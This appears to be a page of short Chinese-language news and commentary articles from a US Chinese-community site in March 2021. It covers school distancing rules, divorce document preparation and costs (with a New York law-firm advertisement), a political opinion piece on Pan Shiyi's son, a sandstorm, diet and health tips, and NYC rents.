2021-03-19 / by / in , , ,
6英尺变为3英尺,学生们可以离得更近了,CDC放宽学校社交距离 

【金牌网讯】美国疾病预防和控制中心(CDC)周五(3月19日),放宽对学校学生们之间身体距离的要求,6英尺缩短到3英尺。这一变化有助于更多的学生回到教室。

此前,立法者和学生家长们一直在大规模推动孩子们回到教室。

此规定只适用于学生,不包括老师和其它成年员工。

有研究表明,在疫情大流行期间,出现抑郁和焦虑的儿童人数增长。而在教室上学的孩子,比那些只通过视频上学的学生,压力更小。
这一变化适用于全美的小学、初中和高中。但在那些Covid-19传播率高的地区,学生们仍需要保持6英尺距离。

但是,在那些不带口罩的场所,比如,午餐时间,合唱队,乐队演奏时,以及呼气较多、激烈的运动等,无论传播率高低,还要保持6英尺距离。CDC建议,这些活动应尽可能使用户外或者在空间大通风良好的地方。

上周发表的几项研究为这一变化提供了依据。这些研究对比了Covid-19在麻州公立学校内学生和教职工之间的传播率,发现保持3英尺或者6英尺的身体距离,传播率几乎没有不同。

2021-03-19 / by / in , , , ,
这位纽约男运气真背, 一天被拘捕三次; 这些佛州人运气真好,一次小费收到1万

【金牌网讯】人人都想好运气。本周发生的两则小故事,告诉我们,运气不只是上天眷顾,还有与本人的行为有关。

第一位是运气不佳的罗伯特.拉狄克(Robert Radek),住在纽约州阿尔斯特县。本周三(3月17日)上午7:55,他在纽约上州牛堡的街道上,驾驶一辆1994年的吉普车时,因违规被纽约巡警察拦下。

据纽约邮报报道,州警察称,拉狄克驾驶著一辆被吊销了牌照的汽车,他还持有裂纹可卡因。拉狄克被指控犯有非法拥有管制药物的7级轻罪。还好,他在没有保释的情况下被释放,定于4月19日上庭聆讯。

谁知,到了当天下午2:30,还是那位州警察,在另一城市,再次以涉嫌交通违规的理由拦停了拉狄克。这时候,他驾驶的是一辆2007年本田。这次,警察发现,他持有更多的管控物质:海洛因和裂纹可卡因。他被控7级轻罪,随后再次被无保释释放,还是在4月19日出庭。

想不到,3小时后,又有警察注意到他。这次,拉狄克被发现又在驾驶著第一次被拦截时开的那辆吉普车,在牛堡街道上行驶。警察认定他涉嫌多次交通违规,而且驾驶时受药物影响。他被指控在能力受损时驾驶,以及加重的无照操作,属于E级重罪。

运气好的例子发生在本周二的在佛罗里达州马拉松市(Marathon)。这里有一家广受欢迎的海滨餐厅。一位顾客在早餐之后,为餐馆留下了1万美元小费。她当时的餐费只有193美元。

这为女士当日在该餐馆有一个10人的餐会。女侍者卡拉·威尔逊(Khara Wilson)说,她当天上午很忙,但还是抽时间在餐前和餐后与客人小聊一会,问他们从哪来,何时离开。她印象中这位女士是和子女及孙辈在一起,来自阿克拉荷马州,将乘坐一家私人飞机飞往佛罗里达礁岛群国际机场。

最后离开前,这位女士走近威尔逊,问她有多少人在厨房工作。了解到人数后,她说要给他们一个惊喜。随后威尔逊和同伴们吃惊的看到信用卡单据上那笔令人惊喜的数字。她几乎不敢相信自己的眼睛,还询问这位慷慨的女士,你是不是在开玩笑啊?人家当然是认真的。

随后,餐馆的14位雇员分享这笔了这笔意外的惊喜。威尔逊的经历告诉我们:用心做好你的工作,给他人带来温暖,就可能得到善意的回报。

2021-03-18 / by / in , , , ,
准备离婚吗?准备好7类文件,就可以放心开始 离婚诉讼中 运气偏爱有准备的人

【金牌讯】在离婚程序开始前,离婚律师将需要当事人提供完整而真实的信息,来支撑自己所提出的任何主张,以此说服法官,来更好的维护当事人的权益。如果这些前期准备做的好,可免去很多麻烦,并节省时间和大笔费用。

 

中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍

比如,所得税申报表,各类与婚姻有关的债务凭证、资产、财产估价书等,都是离婚诉讼时必不可少的重要文件。缺少一份,诉讼可能就不得不停下来。

比如,您的配偶可能对调解员或在离婚法庭上说:我是用自己个人的钱来支付房屋抵押贷款的,我不是从俩人的共同资金中支付的。他以此来保留自己在婚姻中住房的权益。你如何证明对方的说法?有了这些保存的文件就可以证明真实性。

因此,向离婚律师提供财务或其它所有文件,来确定婚姻中所发生事情的真实性,就非常重要。

准备文件时,可以向律师提供纸本副本或数码副本,并确保自己保留一份。提供数码副本时,应将其备份或在线保存到云端服务中,以便轻松取得,也不怕电脑损坏而丢失。

内容完整且条理分明的文件,有助于使离婚谈判阶段变得更加顺利。另外,在出庭时,组织齐全和内容完整的文档,将使你拥有更多支持该案的证据。

我们搜集整理了一些专业律师的建议,把这些需要准备的文档分为以下7个类别。按照这些提示来准备文件,也许可减少离婚过程中文件的遗漏。

1. 与收入有关的文件

你过去一年中所有工作的薪水存根。自雇人士,需提供所得税申报表,以及自我报告的与收入相关的各种税表或业务表。其中包括双方在过去3年中填报的各类商业利润文档。

配偶在同一时期的薪水存根。这些支票存根通常会显示年初至今的收入和扣除额。

对于自雇人士,需要提供有关业务费用的文件,包括:支票簿、银行对帐单、已取消的支票、付款收据、财务报表以及损益表,等等。

至少提供过去3年中,州或联邦的联合或个人纳税申报表副本。

你和配偶的工作收入,要有支票分类帐副本,以表明结婚期间所付费用。

为担保银行贷款或其它目的,而准备的各种财务报表以及资产净值报表副本。

任何其它可以确定双方各自的净资产、共同净资产及双方各自收入的信息。

2. 与房地产有关的文件

任何能够显示共同拥有或单独拥有的房地产的法律文件。

有些文件可通过抵押公司或银行来获得。与当初购买房地产有关的所有文件,包括不动产抵押声明。
如果对房地产进行了再融资,还需要所有与再融资有关的文件。

与任何和所有房地产有关的税务评估员的陈述。

3. 与联合财务帐户有关的文件

您和您的配偶单独或共同持有的,个人或联名帐户的储蓄存折和储蓄证明。

过去两年中,以以个人或双方名义共同持有的所有银行帐户中的银行对帐单。

双方共同持有的投资帐户对帐单。

4. 与人寿保险有关的文件

您个人的、配偶的或子女的人寿保险单据,包括个人保单和雇主提供的保单。也包括任何能够表明现金余额,或针对保单的贷款的文件。

5. 与婚姻债务有关的文件

当初以个人或双方名义,申请的各种未偿债务、无抵押债务的详细列表,包括信用卡、医疗帐单和任何其它贷款。

6. 与养恤基金有关的文件

养老金、退休基金、401(k)计划、共同基金或IRA最近单据的副本。

7. 有关拥有汽车的文件

您或您的配偶单独或共同拥有的所有车辆的产权或注册,包括(但不限于):汽车、船只、全地形车、雪地摩托、农用设备或其它车辆等。

能够证明车辆当前未偿还债务的文件,包括付款优惠券、摊销时间表或月度发票。

2021-03-18 / by / in , ,
疫情大流行,有的忙著结婚,有的忙著离婚,有的想离婚却不敢离婚,为什么?

【金牌网讯】疫情对美国家庭产生了深远的影响。有些州在疫情期间保持此前的离婚率下降趋势,在另一些州,离婚率反而上升。

 

据Bowling Green State University去年对亚利桑那州、佛罗里达州、密苏里州、新罕布什尔州和俄勒冈州的家庭婚姻研究,发现疫情期间结婚率下降,佛罗里达州同期结婚数量,比预期减少2.8万个;但在亚利桑那州和新罕布神州,结婚率反而上升。有三个州保持较低的离婚率, 4个州离婚率下降,在新罕布什尔州骤降36%,在密苏里州下降21%。

疫情期间确实出现一些婚姻关系变好的家庭。据美国家庭调查(America Family Survey)的数据,美国已婚人口中有58%的人认为,疫情期间,她们变的更欣赏自己的配偶;有一半人认为,他们对婚姻变得更有责任感。

疫情确实改变了很多美国家庭的结构。在疫情持续期间,美国有210万女性完全离开了就业市场,男性失业人数也在增加。去年12月份,美国失去工作的女性就多达15. 6万人。因疫情期间找不到托儿所,或需要照顾在家上学的儿童,女性不得不失业,她们不去工作的可能性是男性的2倍。有预测认为,这次疫情大流行可能使女性需要至少10年才能重返职场。

疫情制造的各种压力,给美国人家庭的稳定带来巨大挑战。由于疫情,导致人们缺少经济资源和财务安全感,很多人推迟婚姻或不结婚。

一些州离婚率转低,还可能存在人们自我克制的因素。因为疫情导致家庭财务失控,有的夫妇虽然希望分手,但付不起离婚费。有些咨询者在疫情期间直接冻结了离婚程序,因为他们不想在配偶收入减少时开始离婚过程。这些现象也说明了,为什么离婚咨询量大幅增加,但离婚率却出现下降的现象。

因此,离婚率下降应该只是一个暂时现象。恰如一位律师的分析:疫情对每个人按下了停止键,一旦疫情结束,离婚率就可能激增。

也有一些州,即使疫情也挡不住人们离婚的愿望。去年疫情3月份开始后,加州的一些离婚律师发现网络上搜索离婚信息的数量,增加了30%;同期,与家暴有关的案件也有增加。有加州律师反馈说,潜在离婚客户的电话增加,客户中很多人想立即就离婚。

国家法律评论(national law review)一篇文章介绍说,去年4月份,人们对离婚的兴趣增加了34%。而且,越是新婚的夫妇越可能提出离婚。结婚不到5个月的新婚夫妇,寻求离婚的比例甚至高达20%。而在2019年同期,这一数字只有11%。这可能与家暴有关。疫情期间家暴案比去年同期增加9%。

家庭关系专家认为:财务压力、无聊、对养育问题的分歧以及对家务事的争吵,是家庭关系矛盾中最常见的因素。疫情期间,孩子在家上学,失业使人们面临新的财务不确定性,使那些本来就有婚姻压力的家庭更加不稳定。

有些地方离婚率低,也可能与法庭的离婚案件积压有关。如纽约地区因纽约法庭关闭,案件积压,法官忙不过来,让一些人只能继续忍受痛苦的离婚过程。比如,在纽约州,非紧急的事项很难挤上法官的日程。离婚律师也忙的起早贪黑。有些法庭,案件在疫情之前就积压高达90%,疫情期间甚至高到98%。

在加州,因为急于离婚,使用私人法官来解决离婚问题的人越来越多。这都是那些付得起高额离婚费用的人士。他们雇佣的私人法官通常已退休,收费高达800美元/小时。洛杉矶的一位私人法官,一天收费高达2万美元,仍有人排队等着他,他的日程表排满了今后的几个月时间。

2021-03-17 / by / in , , , ,
离婚时,需要准备哪些材料?完整准备材料,才能让离婚过程省钱省时省精力–税务和收入材料准备

【金牌网讯】离婚过程劳神费心又烧钱。但如果准备工作做的好,不仅有助于加快离婚过程,还能大幅减少离婚费用。本节说明在税务和收入方面,需要做哪些材料准备。

一,准备与报税有关的材料

1,收集你和配偶最近一年的年终收入报告,可能还需要最后三个月的收入报告。如果收入未在工资清单上显示出来,可提供年初至今的收入记录。如果工资清单包括奖金,员工股票购买计划,股票期权,股权激励,以及其它非经常性收入。最好能提供近5年的年终工资单,包括累计休假时间。

2,过去5年联邦和州政府报税申报表。包括所有附件,W-2表格,任何来自商业实体的K-1表格。如果手边没有税务申报表,可从IRS预定一副本。

3,公司和合伙企业的税务报告。获取最近5年获利的实体企业的税务报表文档。你的会计师有你个人或企业的报税申报表,可要求他们提供副本。

4,财务报表。为你本人或为你和配偶共同准备的各种财务报告,你过去5年付利息的商业实体的财务报告。包括贷款申请和批复文件。

5,雇佣合同或雇佣录取通知。这些文件能够说明补偿金和其它福利信息,也为你和配偶准备一份雇员福利的简介。,

6,如果是自雇工作,需提供以下材料:

1)过去5年的财务报告或损益表。

2)过去5年的商业报税表。

3)商业协议或其它有关业务评估的协议。

4)过去5年为该业务准备的任何贷款或信贷申请。

5)现有的业务评估。

二,准备与收入有关的文件

1,过去一年所有与就业有关的薪水支票存根。自雇工作,需提供报税申报副本和与自雇有关的收入表,过去三年你和配偶享有收益的各类文件。

2,你配偶同期的支票存根。这些支票通常显示年初至今的收入和扣除额。

3,如果你和配偶从事自雇工作,也需要提供支票本,银行对账单,已取消的支票,付款收据,财务报表和损益表。

4,过去三年向联邦和州提供的个人或夫妻共同收入退税表。

5,如果你和配偶工作时不收信用卡,而是收现金,可收集会计分类账的副本,以证明婚姻期间的工作收入和费用。

6,为担保银行贷款或其他目的的财务报告或者净收入报告。

7,其它属于你的净资产,配偶的净资产,联合净资产,你的收入和你配偶收入的任何其他信息。(具体案件需要的材料,请与律师商讨)

2021-03-17 / by / in , , ,
离婚方式不同,花费差异极大,看完这篇介绍,你就知道该如何慎重选择离婚方式

【金牌网讯】离婚是一件很伤脑筋的事情,不但分心,还要分财。尤其是走完离婚过程,也需要一笔不菲的开支。

在美国离婚,有许多因素影响离婚的总体花费,包括是选择有争议离婚,还是选择无争议离婚?离婚争议有多少?是否雇佣离婚调解人,选择哪一家法律公司和离婚律师,等等。

中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍

对于平均的离婚花费,美国知名财经网站Money Fool综合各项资讯,给出以下答案:

离婚平均花费:12,900美元

离婚的中位花费:7,500美元

无争议离婚或者无重大争议的离婚,要少很多,平均为:4,100美元

通过法庭裁决两个或以上的争议,平均花费23,300美元

每小时平均律师费270美元

离婚律师从头至尾全面介入,平均法律费用为11,300美元/人。

律师费用的中位数为7,000美元

离婚平均需花费12-18个月时间。

申请费用各州不等,全美从北卡的75美元到加州435美元不等。

2019年,根据legal website Nolo调查,平均离婚费用为12,900美元,中位数为7,500美元。涉及到孩子监护权、赡养费的有争议离婚,会明显提高离婚费用。

每宗案件具体花费多少,还需要寻找离婚律师测算。具体费用还需考虑居住所在地,是否需要儿童监护和赡养,夫妻之间的赡养费是否要考虑,以及离婚是在庭外解决还是通过法庭审理解决,等等。

不同的离婚方式,费用差别有多大?

费用不同的离婚种类 平均费用:美元 中位数
无重大争议的离婚 4,100
无赡养费有关的争议 7,800 4,250
无有关儿童的争议 10,100 6,000
争议在庭外解决 10,600
有儿童相关的争议 15,500 9,300
有赡养费有关的争议 15,900 10,300
审理解决一个争议 20,379
审理解决2个以及以上争议 23,300

律师费要多少?看具体案件和具体承办人

根据调查,支付离婚律师费,取决于律师的资历、案件的复杂程度,当地的生活水平,等多种因素。有的离婚律师提供固定费用,这有利于你做离婚预算。

如果按小时计算:全美离婚律师当中收费比例,根据Martindale-Nolo Research《How Much Divorce Lawyers Charge》一文中的调查数据为:

11%,100美元/小时

34%,200美元/小时

35%,300美元/小时

20%,400美元/小时

如果按照案件来计算,离婚案平均律师费

无争议离婚平均律师费:4,100美元

有一个争议在庭外解决:10,400美元

通过审判解决的律师费一般为:17,700美元

如果能够在6个月内完成,离婚律师费平均约为6,500美元。因此,离婚前,对争议尽量通过协商解决,可省下很多费用。

最省钱的方式,也可以不请离婚律师。通过离婚调节,也可以帮助解决争议,减少争议的律师费用。雇佣一个调节人,平均花费约为970美元。

无争议的离婚通常只需要支付申请费。通过离婚法庭审理,就需要交动议费,法庭报告费用,以及其他杂费。

离婚带来时间和退休账户的损失

根据 legal website Nolo的调查,解决一件离婚案平均需要12个月时间;通过法庭审理来解决至少一个有争议的问题,平均时间就会延长到18个月。

长期的研究显示,离婚会导致当事人降低77%的财富。

根据 National Institute for Retirement Security数据,离婚者固定供款退休账户平均值比没离婚的也少很多。离婚男账户平均值:58,951美元,有婚姻的为84,874美元;离婚女账户平均值:38,613美元,有婚姻的50,126美元。

 

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2021-03-16 / by / in , ,
潘石屹之子潘瑞因言获罪大有玄机

古风:潘石屹之子潘瑞因言获罪玄机!

因言获罪这种案例在中国已多不胜数,这些所谓的罪犯往往只是在网上说了些对政府或中共领导人不敬的话而获罪,1年前,安徽画家张冬宁画猪居然冠以“辱华罪”抓去坐牢,总之,中共推出的各种罪名是层出不穷

近期在北京又发生了一轰动世界的大,去年中缅双方发生军事冲突,双方都有人员伤亡,缅方对有关伤亡人员的情况都会及时向媒体如实通报,而中共却始终瞒报,后来有中国网友把参战阵亡的烈士墓碑晒到网上引发热议,后来中共以“参战阵亡的烈士墓碑涉国家机密” 为由删帖并到处抓捕参与网议者,这其中就有地产大亨潘石屹之子潘瑞

北京警方提供的罪证显2020623日,身在国外的潘瑞在他的微博上说:听说至少有一个营地被印度活埋了,好像没有机会天葬就是这样一句无关痛痒的话,居然给潘瑞及其家庭带来一场灾难。当时由于潘瑞身处国外,北京警方也拿也沒有办法。然而,其父潘石屹却是一个身份敏感且拥有巨额财富的大人物,也是中共打土豪及排除异己重点对象,因此,有人便拿其子潘瑞这条博文大做文章,并冠以 “涉嫌诋毁解放军戍边官兵” 罪名 逼迫潘石屹夫妇敦促其潘瑞尽快返回中国接受调查处理。

20213月15日北京海淀公安分局官方微博发布通报,近期,新闻媒体报道捍卫国土戍边官兵的英雄事迹后,有群众向警方举报,一新浪微博用户曾于2020年6月23日在他人微博评论区发表造谣诋毁英雄烈士的言论,造成恶劣社会影响。

通报“经警方调查核实,该微博用户潘某(男,30岁)于2020年2月2日离京出境后,一直在境外。目前,海淀公安分局已依法对潘某(发出)刑事拘留(通知书),并对其开展追逃。在此,警方敦促其尽快回国接受调查处理。”

事实上,中共瞒报中印战况导致信息不对称这起事件的元凶2020年6月中印边境冲突导致双方出现军人伤亡印方当天就向媒体公布了伤亡人数及名单,可中方却始终隐瞒不报,直到今年2月19日(8个月后)《解放军报》公布中方中印边境冲突共有4名官兵死亡。中国民间对伤亡人数的真实性不乏议论和猜疑。网友质疑的理由有两个:一、2020年6月,印度各大媒体报道中国军人死亡人数在35-50人之间二、中方参战阵亡的烈士墓碑数量与中共官媒报道的人数有出入。对于网友的质疑,中共不但拒绝向公众解释,反而出面抓捕网友,甚至身处境外的网友都遭到警方通缉

有知情网友此次潘瑞因言获罪的背后大有玄机。中共高调追捕身在境外的潘瑞只是一个幌子,真正的目的是为了打击潘石屹夫妇吞并其家族财富。在任志强和马云出事前,中共就利用网络水军对潘石屹夫妇进行污名化,称他们是“美国间谍” 、“卖国贼” 。可见,中共早就把潘石屹夫妇与任志强、马云等商界大佬划上等号。

就在潘石屹好友任志强出事之前,中国大陆就开始疯传潘石屹夫妇要抛售资产移居海外据大陆媒体报道,2013年后(习近平上任后),SOHO中国(潘石屹夫妇的公司)几乎每年都会出售旗下项目。据无冕财经研究员统计,2014年至2019年间,SOHO中国累计出售资产套现约293.41亿元。其中,金额较大的包括84.93亿元将外滩“地王”50%的权益转让给复星国际,52.3亿元出售上海SOHO海伦广场和静安广场,50.08亿元出售凌空SOHO等。

国内媒体普遍认为潘石屹会像李嘉诚一样逃离中国,事实上,潘石屹的行为也证实了媒体的猜测。潘石屹卖掉国內几百亿元资产后,他又对外称要卖掉北京总部的办公楼。201910月30日,大陆有多家媒体报道,SOHO中国正考虑以81亿美元的价出售公司总部的办公大楼。

据媒体报道,潘石屹将公司在国內的资产出售后,大量的资金都转移到欧美国家,而在外打理这些资产的人就是其子潘瑞。潘石屹此举无疑令中共当局非常恼火可明面上又无法阻止潘石屹的商业行为,因为潘的产都装入了境外上市公司,中共要对他下手还必须找到一个合理的借口。而潘石屹本人也很忌讳外界说他要逃离

中国,于是,他曾多次公开否认逃离之说。可无他怎样否认,中共是不可能会放过他的因此,潘这几年在国内办事就难免处处受气,加上他不配合中共推行的私企国有化,就令中共某些掌权者更加不能容忍

在中国,新一轮的“打土豪、分田地”运动正在上演,一大批企家都相继出事。2月25日,中国国家主席习近平在“脱贫攻坚总结表彰大会”上说:“新民主主义革命时期,党团结带领广大农民“打土豪、分田地”,实行“耕者有其田”,帮助穷苦人翻身得解放,赢得了最广大人民广泛支持和拥护,夺取了中国革命胜利,建立了新中国,为摆脱贫困创造了根本政治条件。”

正所谓匹夫无罪,怀璧有罪。当前,中国各级政府正处经济困境中,财政发工资都非常困难。而习近平在“脱贫攻坚总结表彰大会” 高调推崇“打土豪、分田地” 运动的正确性,明显就是一种政治暗示,再加上近期阿里巴巴马云和腾讯马化腾等一大批企业家“被共产” ,而潘石屹夫妇又公开资产,中共显然是不乐意。因此,出事不奇怪,不出事反而是奇怪。

2021-03-15 / by / in
两会刚结束,中国北方迎来10年来最猛沙尘暴,户外行动宜停止

【金牌网讯】中国大陆北方12省市,在两会刚结束的3月14日,迎来近十年来最猛沙尘暴。从甘肃、内蒙、河北、北京,到新疆南部地区,山西北部等地,均出现猛烈的沙尘暴天气。

从网友发出来的视频可以看到,沙尘暴如大片灾难场景,席卷而来,遮天蔽日,夹杂著呼啸凄厉的风吼声,令人感觉毛骨悚然。

北方众多城市,浮尘漫天,四处飞扬,空气重度污染。过去满大街的高楼大厦,只能看到沙尘暴中的灰蒙蒙黑影。北京大部分地区,据报能见度低于1千米,个别地方能见度不足200米,导致400多次航班被取消。
北京的空气质量指数为6346,非常不健康,属于重度污染天气。

根据维基百科资料,重度污染会造成:心脏病和肺病患者症状显著加剧,运动耐受力降低,健康人群普遍出现症状。建议儿童、老年人及心脏病、呼吸系统疾病患者,应停留在室内,停止户外活动。

针对一向搞形式主义,人们并无真正选举权的“两会”刚刚结束,沙尘暴天气就突奔而来,网友们纷纷调侃。
公子沈:沙尘暴少了雾霾来了,雾霾少了就来沙尘暴。北京和河北城市都不能算适合人类居住的城市。
推特的网友野山推文称:深圳《晶报》刊文《沙逼北京》,报道北京沙尘暴景象,结果遭到投诉。这一标题很有气势,但琢磨起来,感觉又有点不对劲,似乎在影射什么。

 

2021-03-15 / by / in , , ,
疫情封闭惹祸!离婚文件暴增,法官压力山大;离婚需慎重,无过错离婚,不等于无条件离婚

【金牌讯】新冠疫情的隔离和封闭政策,使美国家庭矛盾增加,导致离婚率暴增。加上在美国离婚不再基于一方的错误,可提出无过错离婚申请,使离婚变得似乎更容易。但说归说,真正离婚并不容易,除了找离婚律师帮忙,还必须满足一些条件,才能顺利分开。

中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍

纽约州的无过错离婚始于2010年,按照纽约州家庭婚姻法的要求:

一方要宣誓声明,夫妻关系分裂6个月以上,已不可挽回,才可提出离婚申请。
此外,无过错申请还必须满足纽约州家庭法规定的一项居住要求:
1,夫妻中任何一方,在离婚案开始前一直居住于纽约州,连续2年以上;
2,任何一方,在案件开始前连续住纽约州至少1年,并且,1)在纽约州结婚;2)或者,曾是夫妇住在纽约州;3)或者,离婚理由发生在纽约州。
3,夫妻双方在开始离婚前是纽约州居民,并且离婚理由发生在纽约州。

满足上述两项情感破裂和居住条件要求,就符合了提出无过错离婚的资格要求,但要拿到离婚证书,还必须解决以下问题:
1)公平分配婚姻财产;
2)支付或者放弃配偶赡养费;
3)支付子女抚养费;
4)支付离婚律师和专家的费用和支出;
5)监护和探望婚生未成年子女。

不过,即使双方在上庭前,对上述方面已达成协议,如果法庭认为:协议内容对一方不公,仍可能改变其中一些条款。比如,对配偶潜在收入预测的差距,法庭可能会有不同于夫妻双方的看法,会倾向于保护弱势的一方。

另外,提出这一申请,还必须注意最后一个问题:

双方上庭后不能再有争议,否则,案件就可能演变为有争议离婚。这就要求双方上庭前,对离婚律师要开诚布公,夫妻间要相互坦诚,不能再有隐藏的财产或收入。
在无争议离婚的情况下,在纽约市可从文件递交给法院之日算起在3个月时间完成离婚程序。但是之前的咨询律师、文件准备,尤其是送达被告的文件需要签字并寄回,所花费的时间当事人也需要有所准备。

疫情期间,纽约市因为案件积压,可能需要更多时间。

无过错离婚,通常是大多数夫妻离婚时的首选方案。与那些有争议的离婚案相比,无过错离婚,可以避免双方在法庭上的相互伤害,更有利于保护双方的隐私,代价也更低。一般人,尤其是名人,怕家丑外扬,不愿意互揭老底,这是很多家庭选择这一方式的原因。

无过错离婚方式在出现后,曾给美国社会带来巨大的社会问题。比如,在无过错离婚法开始实施的上世纪70年代前后,曾经爆发离婚潮,导致出现大量的单亲家庭,影响了家庭的稳定,伤害了儿童的健康成长。

因此,虽然无过错离婚虽然让离婚变得更加便利,但在提出离婚之前,还是要三思,不要一时冲动,走错路。尤其是在新冠疫情期间,因为大多数人被迫呆在家里工作学习,减少或取消了各种社交活动,狭小的空间可能使家庭成员之间的很多摩擦变的似乎不可调和,但随著疫情消失,各种活动回复正常,夫妇之间的很多矛盾,可能也会消失,重新回归正常的生活。

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2021-03-15 / by / in , ,
吃燕麦真的降血糖吗 ?破解糖尿病饮食迷思

健康/糖尿病/饮食/肥胖

糖尿病是常见的一种多发病,所以也经常听到一些人说糖尿病患者这东西不能吃、那东西不能吃,还有哪些东西对糖尿病患降血糖有帮助,好多糖尿病患者听了也迷茫了?

那么今天专家整理以下三大常被流传的糖尿病饮食迷思,详述这些“传说”哪里对哪里不对错。

《全民健康基金会》报道:好心肝门诊中心新陈代谢暨内分泌科主治医师陈爱华指出,糖尿病患该怎么吃?吃了东西出现什么反应是否就是已经罹患糖尿病?这些都是很多人感兴趣的议题,像是喝水会胖是否已有糖尿病?吃很甜会让血糖升高?吃燕麦可以降血糖?这些都是真的吗?

Q:喝水都会胖表示有糖尿病?

A:这个问题的答案是“错”的,糖尿病跟肥胖之间没有绝对的关系,许多糖尿患者严重的时候,体重不是增加反而是减轻,“所以绝对不是喝水会胖就表示有糖尿病”。若遇到患者觉得自己连喝水都会胖,这时医师会详细了解平常饮食、生活习惯等,看是否有饮食不均衡、或者活动量太少等等的问题。另外,甲状腺功能低下时也容易造成肥胖,因此如果真的连喝水都会胖的话,建议去找新陈代谢科医师,检查自己是否有代谢过慢的问题。


白煮蛋加吐司

Q:糖尿病是吃太多糖造成的?

A:这个问题的答案“可以算对也可以说是错的”。为什么这样说?是因为造成糖尿病的原因非常复杂,包括先天性因素,例如遗传体质,以及后天因素,例如失调的生活习惯(如肥胖、饮食不健康,包括甜的食物吃太多,以及运动太少等等)。从成因来看非常复杂,因此,绝对不是仅因吃糖吃太多就会造成糖尿病。

Q:吃燕麦片可以降血糖?

A:很多人都说燕麦片吃了可以降血糖,临床上不少糖尿病人问:“医生我是不是要吃燕麦片?”这个问题的答案“可以说它是对的也是错的”。因为真要说能降血糖的,只有药物跟胰岛素。至于燕麦片的好处,主要是它可以帮助控制及稳定血糖、让血糖不要上升得太快,除此之外它也可以帮助控制胆固醇。

燕麦对血糖的好处,主要就是在于它有很多膳食纤维,这些膳食纤维吃下去之后,会让胃产生饱足感、不致因此吃进太多食物,而且它是低GI(升糖指数,Glycemic Index )食物,这类食物吃下去之后血糖会上升得比较缓慢、比较稳定,血糖不会像云霄飞车般起起伏伏。

谈到燕麦饮食,陈医师建议糖尿病友,如果平时早餐是吃稀饭或者是烧饼油条者,不妨可以使用大燕麦片配低脂牛奶,或者是豆浆,再加水煮蛋或是一片吐司,来取代你本来的早餐饮食,会比原来的早餐选择来得健康喔。

2021-03-14 / by / in
美国一项研究:有心衰的人,要多吃抗炎食物!

心力衰竭/抗炎食物/橄榄油/粗粮/水果/蔬菜/茶/咖啡/促炎食物/红肉/加工肉类/动物内脏/含糖饮料

最近美国发表一项研究表明,有些患者出现心力衰竭,建议多吃一些抗炎食物,可减少一半的住院率和死亡风险。


橄榄油

炎症评分较高,也就是促炎食物包括红肉、加工肉类、细粮、高脂乳制品、动物内脏、含糖饮料;而橄榄油、粗粮、水果、蔬菜、茶、咖啡等炎症评分较低,属于抗炎食物。

这项研究共分析了213例心衰患者的饮食情况,研究者指出,如果心衰患者少吃促炎食物,可能更有益。


其实,除了心衰患者对炎症评分较高食物亮红灯外,南京大学医学院附属金陵医院进行等研究发现,抗炎食物可降低缺血性脑卒中患者的颈部易损斑块风险。

研究发现,有颈部易损斑块的患者要比无易损斑块者,食物炎症指数较高,水果蔬菜及坚果都吃得少。

饮食模式还可能通过炎症之外的其他机制影响动脉粥样硬化斑块的进展。

食物炎症指数高,还与2型糖尿病、不利于健康脂蛋白以及代谢综合征有关,而这些均可能损害斑块的稳定结构。

有研究显示,肠道微生物紊乱或是动脉粥样硬化潜在原因,而饮食模式可能会改变肠道微生物。


豆类、谷类

建议食物品种多样,以谷类为主,注意能量平衡,多食蔬果、奶类和大豆等,这些属于都抗炎食物。

不论如何,每个人都应该注意饮食,毕竟长期饮食习惯会影响全身炎症水平。

2021-03-14 / by / in
进进出出纽约市 地产市场转升温

进进出出纽约市  地产市场转升温

【金牌网】纽约人过去一年有种坐过山车的感觉。街头骚乱和疫情,让人常有朝不保夕之忧。因此,搬到临近的郊区或者其他地区成为一种常见现象。 寸土寸金的纽约市房地产市场出现大批的空置公寓。
现在随著疫情趋缓,疫苗普及,纽约变的更安全了,回到纽约安家的人也开始增多。我们来看看纽约市现在的房地产市场状态如何。

房租普遍降低 目前是入市良机

与去年同期相比,1月份,纽约的房租普遍下降。
纽约市房租中位价下降8.7%。分析认为,这是短期趋势。因为,疫情一旦结束,公司开始正常营业,工作机会增加,地产需求也会相应增加。因此,现在入市是个好机会。以1月份行情为例:
曼哈顿Studio从2,700下降到2,148,下降20.4%;一室一厅从3,595下降到2,950,下降17.9%;两室一厅从4,250 ,到2,968,降幅达30.16%。两居室租赁价格几乎和一居室持平。三居室从6,500降到5,348,降幅17.72%。
曼哈顿公寓空置率5.33%,比去年同期1.73%高出很多。但随著找房的人越来越多,可利用公寓数量下降了9.3%,使公寓变的越来越难找。分析认为,可能有房东在储备房源,想得到一个更好的价格,未入市推广的因素。
租赁价格下降,吸引了大量的人群。今年1月份租约为6,255,比上年同期增加60%。
法拉盛皇后区,三居室房租价格从上年4,066美元下降到3,000美元,下降1,066美元。一室一厅从3,903美元下降到2,514美元,降幅达35.58%。Studio从2,594 下降到2,000,下降22.89%。
目前在纽约市租小型Studio公寓房,不管在哪个区,都会得到最好的折扣。折扣幅度在曼哈顿为20%,布鲁克林24%,皇后区23%。(数据来源Douglas Elliman)
同期,全美小型公寓租赁价格仅下降2.4%。
但曼哈顿的豪华公寓,表现与众不同,租赁起步价6,500美元,价格几乎与去年持平,均价9,000美元/月。这显示出高收入阶层虽然同受疫情影响,但他们仍然保持著优越的生活。
布鲁克林区豪华公寓下降10%,起步4,600美元;皇后区起步3,700美元,价格折扣为17%。

纽约更多卖家试图退出房地产市场

纽约合作公寓销售量上升167%,Condo量销售上升50%,Town home销售量上升100%。
据Realtor.com数据,曼哈顿试图卖房的卖家,比上年增45%。
全美的地产市场都呈现出上涨的势头。
目前纽约市房产的中位价格为55万美元,比上年度增长10.2%,但市场分析认为,这并不意味著地产市场走强。这是一种全国现象,是整个房地产市场膨胀的反映。
不光是纽约,全国的地产中位价格都上涨了13.2%。
纽约市的空房率在最为火热的1月份为5.33%,上年同期1.73%高出许多。全美的空房率为6.4%。纽约市的空房率并不突出。而且,一旦疫情结束,空房率就可能下降。
